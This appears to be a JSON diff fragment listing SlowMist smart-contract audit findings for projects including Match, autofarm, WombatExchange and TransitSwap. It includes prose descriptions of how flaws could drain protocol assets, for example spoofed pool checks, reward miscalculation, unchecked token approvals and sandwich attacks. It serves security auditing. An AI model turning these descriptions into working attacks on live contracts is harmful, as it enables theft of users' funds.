"title": "The tokenId obtained by the user is related to the NFT inventory", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Auction contract, the adjustRandomtoken function is used to adjust the nal tokenId based on the inventory of each tokenId's NFTs. If a user obtains the highest-value NFT but there is no inventory for this NFT, they may be assigned the lowest-value NFT instead, and vice versa. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Information" + ] + }, + { + "title": "Unchecked boost bound parameters during initialization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the initialize function of the RFGDeposit contract, when the proxy contract is initialized, parameters such as lowerBound and upperBound are passed in. However, the function does not check whether the passed-in lowerBound is less than upperBound. Incorrectly passing the corresponding values may cause the protocol to be unusable. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Rewards not settled as expected", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the RFGDeposit contract, users can make xed-term deposits through the xedDeposit function. When a user's autoRedeposit status is false, even if the user's deposit time is several times longer than the duration, only one cycle of rewards will be settled for the user. Unfortunately, the xedDeposit function does not handle the case where autoRedeposit is false. This allows users with autoRedeposit set to false to make a small deposit to the same xId after a long deposit period and still receive the full rewards, not just for one duration. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Incorrect whitelist pool check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Pool contract, the assertCallerIsPool function is used to check whether the passed-in sender is a pool created in the stakingManager. The assertCallerIsPool function receives the msg.sender from SinglePool and CouplePool as a possible pool address, calls the poolID interface of msg.sender to obtain the pool id, and nally checks whether this pool id is valid in the stakingManager. Unfortunately, this check method is not eective. Malicious contracts can also implement the poolID interface and return a valid pool id (1~7) when called. Since the assertCallerIsPool function only checks whether the id is valid through the stakingManager contract, malicious contracts can easily bypass this check to perform malicious custodial staking and eventually exhaust the protocol's assets. ", + "labels": [ + "SlowMist", + "Match", + "Type: Unsafe External Call Audit", + "Severity: Critical" + ] + }, + { + "title": "Unexpected rewards when staking in pairs", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the CouplePool contract, the stakingManager can stake a user's NFT through the socialStake function. When the staking has not been paired yet, CouplePool will custody the user's NFT to SinglePool to obtain SinglePool staking rewards. Once the pairing is complete, it will withdraw from SinglePool and stake in CouplePool. Theoretically, during the process of pairing, users should only receive rewards from SinglePool and not from CouplePool. Unfortunately, when SinglePool custody is performed, the user's ssInfo.stakeInfo.amount value in the CouplePool contract will be updated to the staked amount. This allows users to claim CouplePool staking rewards through the claimSocialReward function of the stakingManager contract even before the pairing is completed. Worse still, the user's ssInfo.stakeInfo.claimedToAccued has not been set at this point, so when settling rewards, calculateStakeReward will distribute large unexpected rewards to the user. Malicious users can exploit this issue to exhaust all reward tokens. Similarly, this issue also exists in the GroupPool contract. Users can still claim large rewards from GroupPool even before the three-party pairing is completed. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Manipulate boost to inuence the token id obtained in the auction", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the Auction contract, when a user claims the auctioned NFT, the token id of the NFT depends not only on the random number seed but also on the amount of the user's deposit in the RFGDeposit contract. The larger the user's deposit amount, the greater the user's boost, and the higher the probability of obtaining a high-value NFT. Unfortunately, the calculation of the boost only depends on the user's deposit amount. Users can increase their RFG deposit before claiming the NFT to improve the probability. When multiple addresses of a user have obtained NFTs, they only need to withdraw the staked RFG tokens from other addresses and transfer them to the address that needs to claim the NFT for staking before claiming the NFT, in order to increase the probability. In other words, users only need a high amount of staking and can continuously stake/unstake/transfer RFG tokens to increase the probability of obtaining high-value NFTs at a lower cost. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Redundant PoolMax enum", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the NftID library, PoolID lists an enumeration of all the pools supported by the protocol, but PoolMax is not used anywhere in the protocol, which is redundant. ", + "labels": [ + "SlowMist", + "Match", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Reward calculation for two stakers in GroupPool being the same user", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the GroupPool contract, when a user performs a socialUnstake/forceSocialUnstake operation, a portion of the bailed rewards of the initiator of the unstaking operation will be deducted and distributed to other users in the same group. However, it should be noted that one of the users in the same group may also be the initiator because the protocol allows the same user to provide two dierent NFTs for GroupPool staking. This means that a portion of the initiator's penalized rewards still belong to the initiator themselves. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Information" + ] + }, + { + "title": "Potentially incorrect social staking reward information in GroupPool", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "As previously mentioned, GroupPool allows the same user to provide two NFTs for staking. However, during reward settlement, stakerShareReward and bailed are calculated based on three dierent staking users. Therefore, in the viewSocialStakeRewardInfo function, when obtaining the user's pendingRewards, it only considers the scenario where the three stakers are dierent users, while overlooking the possibility that two of the stakers might be the same user. This may cause the reward amount returned by the viewSocialStakeRewardInfo function to be lower than expected. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Potential Denial of Service Risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In Pool, users can freely choose dierent pools for staking. Theoretically, users can stake their owned NFTs in pools of dierent types or in dierent matchCodes within the same pool. The pool uses OpenZeppelin's EnumerableSet library to record the pools or matchCodes that users have joined, and retrieves all the pools or matchCodes joined by users through the values interface of EnumerableSet when claiming rewards. It is important to note that the values operation copies the entire storage space to memory. If the user participates in a large number of pools or matchCodes, the values operation will generate signicant gas costs, potentially exceeding the block's gasLimit and ultimately leading to DoS risks. Despite this, if a DoS issue arises, users can still avoid their rewards being locked by claiming rewards individually. ", + "labels": [ + "SlowMist", + "Match", + "Type: Denial of Service Vulnerability", + "Severity: Low" + ] + }, + { + "title": "The validity of the pid was not checked when creating the pool", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the StakingManager contract, operators can create pools using the createPool function, but the validity of the passed-in pid value is not checked. Theoretically, the pid of a pool should only be between 1 and 7. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "When creating a matchCode, it does not check whether the pool has been created.", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the StakingManager contract, users can create matchCodes for social staking using the createMatch2Code and createMatch3Code functions. However, when creating a matchCode, there is no check to verify if the pool corresponding to the pid has already been created. If the pool has not been created, users will be unable to successfully create a matchCode, and no error message will be thrown, which may cause confusion for users. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "There is an upper limit on the matchCodes available in the pool", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the StakingManager contract, when a user creates a matchCode for social staking, the protocol assigns a matchCode to this staking. The matchCode is obtained through the nextMatchCode function of the pool, which is calculated using poolID * 10 ** 8 + matchCodeNonce . It is important to note that if the value of matchCodeNonce exceeds 1e8, it will aect the matchCode of the next pool. In reality, it is highly unlikely for a pool to have 1e8 matchCodes, but the project team should still remain attentive to this matter. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Checks-Eects-Interactions are not followed when transferring out NFT", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the StakingManager contract, the returnNftsBackAndClaimReward function is used to transfer users' staked NFTs from the contract back to the users and claim social staking rewards for users through the claimSocialReward function. The practice of transferring assets before modifying the contract state does not comply with the Checks- Eects-Interactions pattern. Although it does not lead to reentrancy risks in the current business scenario, it cannot be guaranteed that new exploitable business scenarios will not be introduced in the future. ", + "labels": [ + "SlowMist", + "Match", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Optimizable reward information update", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the updateRewardInfo function of the GroupPool contract, the currently claimable social staking rewards are calculated through the calculateStakeReward function, and the rewards are distributed to the stakers. It is important to note that when users exit staking through the StakingManager contract, multiple calls to the updateRewardInfo function may be involved in a single transaction. The pendingReward for reward settlement is only greater than 0 during the rst call, and when pendingReward is 0, the updateRewardInfo function still performs reward distribution operations, which will consume a lot of unnecessary gas. ", + "labels": [ + "SlowMist", + "Match", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risks of excessive privilege", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the StakingManager contract, the admin role can upgrade any pool through the upgradePool function. Moreover, in the protocol, except for the InviteReward, Airdrop, RFGToken, and NftCard contracts, all other contracts use an upgradable model, where the admin of the proxy contract can arbitrarily upgrade these contracts. This leads to the risk of excessive privileges. In the Auction contract, after the auction is completed, the project team will calculate o-chain the users who can obtain NFTs and the nal auction price, and establish a Merkle proof for users to claim. This also increases the centralization risk to a certain extent. ", + "labels": [ + "SlowMist", + "Match", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Protocol Missing Emergency Operations Role", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "The protocol has planned for multiple roles to manage dierent contracts, but it is important to note that the protocol lacks an emergency pause functionality and a role to manage this function. When an emergency occurs in the protocol, the emergency operation role can close the protocol through the pause function to minimize losses as much as possible.", + "labels": [ + "SlowMist", + "Match", + "Type: Authority Control Vulnerability Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Match_en-us.pdf", + "body": "In the NftCard contract, the owner can modify the URI of the NFT through the setUri function, but no event is recorded. ", + "labels": [ + "SlowMist", + "Match", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "4.2.1.1 Sandwich attacks issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - autofarm_en-us.pdf", + "body": "The earn(), buyBack(), convertDustToEarned(), _convertMDXToEarned functions no limit slippage, there is a sandwich attacks issues. It is recommended to add a slippage limit, and the slippage parameter can only be modified by the Owner. AutofarmV2_CrossChain/StratVLEV2.sol function earn() external whenNotPaused { if (onlyGov) { require(msg.sender == govAddress, \"!gov\"); } 6 IVenusDistribution(venusDistributionAddress).claimVenus(address(this)); uint256 earnedAmt = IERC20(venusAddress).balanceOf(address(this)); earnedAmt = distributeFees(earnedAmt); earnedAmt = buyBack(earnedAmt); if (venusAddress != wantAddress) { IPancakeRouter02(uniRouterAddress).swapExactTokensForTokens( earnedAmt, 0, venusToWantPath, address(this), now.add(600) ); } lastEarnBlock = block.number; _farm(false); //SupplywantTokenwithoutleverage,tocaterfornet-veinterestrates. } AutofarmV2_CrossChain/StratVLEV2.sol function buyBack(uint256 _earnedAmt) internal returns (uint256) { if (buyBackRate <= 0) { return _earnedAmt; } uint256 buyBackAmt = _earnedAmt.mul(buyBackRate).div(buyBackRateMax); IPancakeRouter02(uniRouterAddress).swapExactTokensForTokens( buyBackAmt, 0, earnedToAUTOPath, buyBackAddress, now + 600 ); return _earnedAmt.sub(buyBackAmt); 7 } AutofarmV2_CrossChain/StratX2_MDEX.sol function convertDustToEarned() public whenNotPaused { require(isAutoComp, \"!isAutoComp\"); require(!isCAKEStaking, \"isCAKEStaking\"); //Convertsdusttokensintoearnedtokens,whichwillbereinvestedonthenextearn(). //Convertstoken0dust(ifany)toearnedtokens uint256 token0Amt = IERC20(token0Address).balanceOf(address(this)); if (token0Address != earnedAddress && token0Amt > 0) { IERC20(token0Address).safeIncreaseAllowance( uniRouterAddress, token0Amt ); //Swapalldusttokenstoearnedtokens IPancakeRouter02(uniRouterAddress) .swapExactTokensForTokensSupportingFeeOnTransferTokens( token0Amt, 0, token0ToEarnedPath, address(this), now + 600 ); } //Convertstoken1dust(ifany)toearnedtokens uint256 token1Amt = IERC20(token1Address).balanceOf(address(this)); if (token1Address != earnedAddress && token1Amt > 0) { IERC20(token1Address).safeIncreaseAllowance( uniRouterAddress, token1Amt ); //Swapalldusttokenstoearnedtokens IPancakeRouter02(uniRouterAddress) .swapExactTokensForTokensSupportingFeeOnTransferTokens( 8 token1Amt, 0, token1ToEarnedPath, address(this), now + 600 ); } } AutofarmV2_CrossChain/StratX2_MDEX.sol function _convertMDXToEarned() internal { //ConvertsMDX(ifany)toearnedtokens uint256 MDXAmt = IERC20(MDXAddress).balanceOf(address(this)); if (MDXAddress != earnedAddress && MDXAmt > 0) { IERC20(MDXAddress).safeIncreaseAllowance(uniRouterAddress, MDXAmt); //Swapalldusttokenstoearnedtokens IPancakeRouter02(uniRouterAddress) .swapExactTokensForTokensSupportingFeeOnTransferTokens( MDXAmt, 0, MDXToEarnedPath, address(this), now + 60 ); } } AutofarmV2_CrossChain/StratX2_MDEX.sol function buyBack(uint256 _earnedAmt) internal returns (uint256) { if (buyBackRate <= 0) { return _earnedAmt; } uint256 buyBackAmt = _earnedAmt.mul(buyBackRate).div(buyBackRateMax); if (earnedAddress == AUTOAddress) { IERC20(earnedAddress).safeTransfer(buyBackAddress, buyBackAmt); } else { IERC20(earnedAddress).safeIncreaseAllowance( uniRouterAddress, 9 buyBackAmt ); IPancakeRouter02(uniRouterAddress) .swapExactTokensForTokensSupportingFeeOnTransferTokens( buyBackAmt, 0, earnedToAUTOPath, buyBackAddress, now + 600 ); } return _earnedAmt.sub(buyBackAmt); } AutofarmV2_CrossChain/StratVLEV2.sol function earn() external whenNotPaused { if (onlyGov) { require(msg.sender == govAddress, \"!gov\"); } IVenusDistribution(venusDistributionAddress).claimVenus(address(this)); uint256 earnedAmt = IERC20(venusAddress).balanceOf(address(this)); earnedAmt = distributeFees(earnedAmt); earnedAmt = buyBack(earnedAmt); if (venusAddress != wantAddress) { IPancakeRouter02(uniRouterAddress).swapExactTokensForTokens( earnedAmt, 0, venusToWantPath, address(this), now.add(600) ); } lastEarnBlock = block.number; 10 _farm(false); //SupplywantTokenwithoutleverage,tocaterfornet-veinterestrates. } Fix Status: The issue has been fixed in this commit: b27f2cafcf51667726bd70220420707c89b75975", + "labels": [ + "SlowMist", + "autofarm", + "Severity: High" + ] + }, + { + "title": "4.2.2.1 Excessive authority issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - autofarm_en-us.pdf", + "body": "The add function has excessive authority issues, Owner can add mining pool arbitrarily, there is a risk of stealing mining by himself, and _strat is the destination address of the final sending of funds, the owner can set this address arbitrarily, pay attention to compatibility issues with external contracts, it is recommended to set the ownership to the timelock contract, and add events to record in the add function. AutofarmV2_CrossChain/AutoFarmV2_CrossChain.sol function add( uint256 _allocPoint, IERC20 _want, bool _withUpdate, address _strat ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ want: _want, allocPoint: _allocPoint, lastRewardBlock: 0, accAUTOPerShare: 0, 11 strat: _strat }) ); } Fix Status: The ownership has been transfer to timelock contract. Reference https://hecoinfo.com/tx/0xbe90b5dba8315b30a010ea957e9631154857b93d84cdb344c11b339b 5f3e5421 The authority of the Gov role is large, and the address of the external contract can be set arbitrarily. Malicious and wrong external contracts will cause the user's funds to be lost, and there is a issues of excessive authorityit is recommended to set the gov to the timelock contract. AutofarmV2_CrossChain/StratX2.sol function setEntranceFeeFactor(uint256 _entranceFeeFactor) public { require(msg.sender == govAddress, \"!gov\"); require(_entranceFeeFactor >= entranceFeeFactorLL, \"!safe - too low\"); require(_entranceFeeFactor <= entranceFeeFactorMax, \"!safe - too high\"); entranceFeeFactor = _entranceFeeFactor; } function setWithdrawFeeFactor(uint256 _withdrawFeeFactor) public { require(msg.sender == govAddress, \"!gov\"); require(_withdrawFeeFactor >= withdrawFeeFactorLL, \"!safe - too low\"); require(_withdrawFeeFactor <= withdrawFeeFactorMax, \"!safe - too high\"); withdrawFeeFactor = _withdrawFeeFactor; } function setControllerFee(uint256 _controllerFee) public { require(msg.sender == govAddress, \"!gov\"); require(_controllerFee <= controllerFeeUL, \"too high\"); controllerFee = _controllerFee; } function setbuyBackRate(uint256 _buyBackRate) public { require(msg.sender == govAddress, \"!gov\"); 12 require(buyBackRate <= buyBackRateUL, \"too high\"); buyBackRate = _buyBackRate; } function setGov(address _govAddress) public { require(msg.sender == govAddress, \"!gov\"); govAddress = _govAddress; } function setOnlyGov(bool _onlyGov) public { require(msg.sender == govAddress, \"!gov\"); onlyGov = _onlyGov; } function setUniRouterAddress(address _uniRouterAddress) public { require(msg.sender == govAddress, \"!gov\"); uniRouterAddress = _uniRouterAddress; } function setBuyBackAddress(address _buyBackAddress) public { require(msg.sender == govAddress, \"!gov\"); buyBackAddress = _buyBackAddress; } function setRewardsAddress(address _rewardsAddress) public { require(msg.sender == govAddress, \"!gov\"); rewardsAddress = _rewardsAddress; } Fix Status: The Gov has been transfer to timelock contract. Reference https://hecoinfo.com/tx/0xfdf183915b5659473f9e8e3438c295cb859e022faa073a0a8f12c38e0a 4c257d", + "labels": [ + "SlowMist", + "autofarm", + "Severity: Medium" + ] + }, + { + "title": "4.2.2.2 DoS issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - autofarm_en-us.pdf", + "body": "In the massUpdatePools function, if the length of poolInfo is too large, there is a risk of DoS. It is 13 recommended to limit poolInfo.length to avoid DoS caused by too large length. AutofarmV2_CrossChain/AutoFarmV2_CrossChain.sol function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } Fix Status: The issue has been fixed in this commit: b27f2cafcf51667726bd70220420707c89b75975", + "labels": [ + "SlowMist", + "autofarm", + "Severity: Medium" + ] + }, + { + "title": "4.2.3.1 Missing event log", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - autofarm_en-us.pdf", + "body": "\"setEntranceFeeFactor\" function, \"setWithdrawFeeFactor\" function, \"setControllerFee\" function, \"setbuyBackRate\" function, \"setGov\" function, \"setOnlyGov\" function, \"setUniRouterAddress\" function, \"setBuyBackAddress\" function, \"setRewardsAddress\" function, no events are added to record. It is recommended to add events for recording. AutofarmV2_CrossChain/StratX2_MDEX.sol AutofarmV2_CrossChain/StratVLEV2.sol function setEntranceFeeFactor(uint256 _entranceFeeFactor) public { require(msg.sender == govAddress, \"!gov\"); require(_entranceFeeFactor >= entranceFeeFactorLL, \"!safe - too low\"); require(_entranceFeeFactor <= entranceFeeFactorMax, \"!safe - too high\"); entranceFeeFactor = _entranceFeeFactor; } function setWithdrawFeeFactor(uint256 _withdrawFeeFactor) public { require(msg.sender == govAddress, \"!gov\"); require(_withdrawFeeFactor >= withdrawFeeFactorLL, \"!safe - too low\"); 14 require(_withdrawFeeFactor <= withdrawFeeFactorMax, \"!safe - too high\"); withdrawFeeFactor = _withdrawFeeFactor; } function setControllerFee(uint256 _controllerFee) public { require(msg.sender == govAddress, \"!gov\"); require(_controllerFee <= controllerFeeUL, \"too high\"); controllerFee = _controllerFee; } function setbuyBackRate(uint256 _buyBackRate) public { require(msg.sender == govAddress, \"!gov\"); require(buyBackRate <= buyBackRateUL, \"too high\"); buyBackRate = _buyBackRate; } function setGov(address _govAddress) public { require(msg.sender == govAddress, \"!gov\"); govAddress = _govAddress; } function setOnlyGov(bool _onlyGov) public { require(msg.sender == govAddress, \"!gov\"); onlyGov = _onlyGov; } function setUniRouterAddress(address _uniRouterAddress) public { require(msg.sender == govAddress, \"!gov\"); uniRouterAddress = _uniRouterAddress; } function setBuyBackAddress(address _buyBackAddress) public { require(msg.sender == govAddress, \"!gov\"); buyBackAddress = _buyBackAddress; } function setRewardsAddress(address _rewardsAddress) public { require(msg.sender == govAddress, \"!gov\"); rewardsAddress = _rewardsAddress; } Fix Status: 15 The issue has been fixed in this commit: b27f2cafcf51667726bd70220420707c89b75975", + "labels": [ + "SlowMist", + "autofarm", + "Severity: Informational" + ] + }, + { + "title": "4.2.3.2 Missing nonReentrant modifier", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - autofarm_en-us.pdf", + "body": "The deposit function missing the nonReentrant modifier, it is recommended to add the nonReentrant modifier. AutofarmV2_CrossChain/StratX2_MDEX.sol function deposit(address _userAddress, uint256 _wantAmt) public onlyOwner whenNotPaused returns (uint256) IERC20(wantAddress).safeTransferFrom( address(msg.sender), address(this), _wantAmt ); uint256 sharesAdded = _wantAmt; if (wantLockedTotal > 0 && sharesTotal > 0) { sharesAdded = _wantAmt .mul(sharesTotal) .mul(entranceFeeFactor) .div(wantLockedTotal) .div(entranceFeeFactorMax); } sharesTotal = sharesTotal.add(sharesAdded); if (isAutoComp) { _farm(); } else { wantLockedTotal = wantLockedTotal.add(_wantAmt); } return sharesAdded; 16 { } Fix Status: The issue has been fixed in this commit: b27f2cafcf51667726bd70220420707c89b75975 5.", + "labels": [ + "SlowMist", + "autofarm", + "Severity: Informational" + ] + }, + { + "title": "Overow issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "The data type of priceStruct.expo is int32, and the return result is negative, so uint256(int256(priceStruct.expo)) will get a large value, and 10 ** uint256(int256(priceStruct.expo) will overflow. Because the compiler version used is pragma solidity ^0.8.5;`. ", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Integer Overow and Underow Vulnerability", + "Severity: Critical" + ] + }, + { + "title": "Missing event record", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "The owner has the ability to modify the values of the maxPriceAge, shouldCapEquilCovRatio, startCovRatio, endCovRatio parameters, etc. which are global variables, but any modications made to them are not recorded with events. ", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Excessive authority issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "The Owner can modify priceIDs[_token], priceFeed, fallbackPriceFeed. This will aect the price at which the project gets oracle. The wrong price will lead to a fatal vulnerability in the project. ", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Redundant judgment", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "If fromAmount is 0, the code will revert, so if (fromAmount >= 0) should be changed to if (fromAmount > 0). ", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "fee management suggestions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "If the receiving address of fee is an EOA address, there will be a single point risk of private key management. ", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Authority Control Vulnerability Audit", + "Severity: Suggestion" + ] + }, + { + "title": "conditional competition issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "The llPool function and the transferTipBucket function are controlled by the two roles of dev and owner respectively. When the opinions of the dev and owner are inconsistent, there will be conditional competition issues. ", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Race Conditions Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Suggestions for variable type conversion", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "The following functions when using uint256 to convert int256, it is not judged whether the variable to be converted is less than type(int256).max, and when using int256 to convert uint256, it is not judged whether the variable is greater than 0. CoreV3.quoteDepositLiquidity CoreV3.quoteWithdrawAmount CoreV3.quoteWithdrawAmountFromOtherAsset CoreV3.quoteSwap CoreV3.quoteSwapTokensForCredit CoreV3.quoteSwapCreditForTokens PoolV3._globalInvariantFunc PoolV3.globalEquilCovRatioWithCredit DynamicPoolV3._globalInvariantFunc PythPriceFeed.getLatestPrice", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Business logic is unclear", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "The _quoteFactor function returns a xed value of 1e18, but the function receives parameters, and the parameters do not need to be used. ", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Token compatibility issues", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "When the project is transferred to the token, it does not judge the balance change before and after the transfer of the target address receiving the token, so it is incompatible with reective tokens (deation/ination type tokens), which will cause the balance of the transfer to be inconsistent with the balance actually received, which will lead to calculation errors. ", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant type conversion code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - WombatExchange_en-us.pdf", + "body": "The _quoteFrom function is using uint256 nalToAssetCovRatio = (toAssetCash + uint256(actualToAmount)).wdiv(toAssetLiability); to convert uint256(actualToAmount), But actualToAmount is of the type uint256, it is no need to convert. ", + "labels": [ + "SlowMist", + "WombatExchange", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Authorization limit issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TransitSwap v4 Core_en-us.pdf", + "body": "There are two roles Owner and Executor in the contract, and the permissions of the two roles are not clearly divided.", + "labels": [ + "SlowMist", + "TransitSwap v4 Core", + "Type: Authority Control Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Security suggestion", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TransitSwap v4 Core_en-us.pdf", + "body": "Since the TransitSwapRouter contract will retain the user's authorization limit, it is recommended to allow the user to allocate on demand during the front-end authorization, and do not authorize the maximum value at one time to prevent the user's funds from being stolen. 11", + "labels": [ + "SlowMist", + "TransitSwap v4 Core", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing zero address check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TransitSwap v4 Core_en-us.pdf", + "body": "When modifying important addresses in the contract, it is not checked whether the incoming address is a zero address. ", + "labels": [ + "SlowMist", + "TransitSwap v4 Core", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TransitSwap v4 Core_en-us.pdf", + "body": "The Owner has the risk of over-authorization, and this role can withdraw the tokens in the contract to any address. ", + "labels": [ + "SlowMist", + "TransitSwap v4 Core", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Authority control issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - TransitSwap v4 Core_en-us.pdf", + "body": "The contract adopts a completely open calling logic. There is an operation to authorize the approveAddress address in the _beforeSwap function. The calling path of this function is TransitSwapRouter.swap() -> TransitSwap.swap() -> TransitSwap._beforeSwap(). The calldata parameter is also passed in when calling the top-level function TransitSwapRouter.swap(). The code does not check whether the approveAddress is legal. If a malicious approveAddress is passed in, the contract will be incorrectly authorized and the tokens in the contract will be lost. ", + "labels": [ + "SlowMist", + "TransitSwap v4 Core", + "Type: Authority Control Vulnerability", + "Severity: High" + ] + }, + { + "title": "Uninitialized parameter", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - 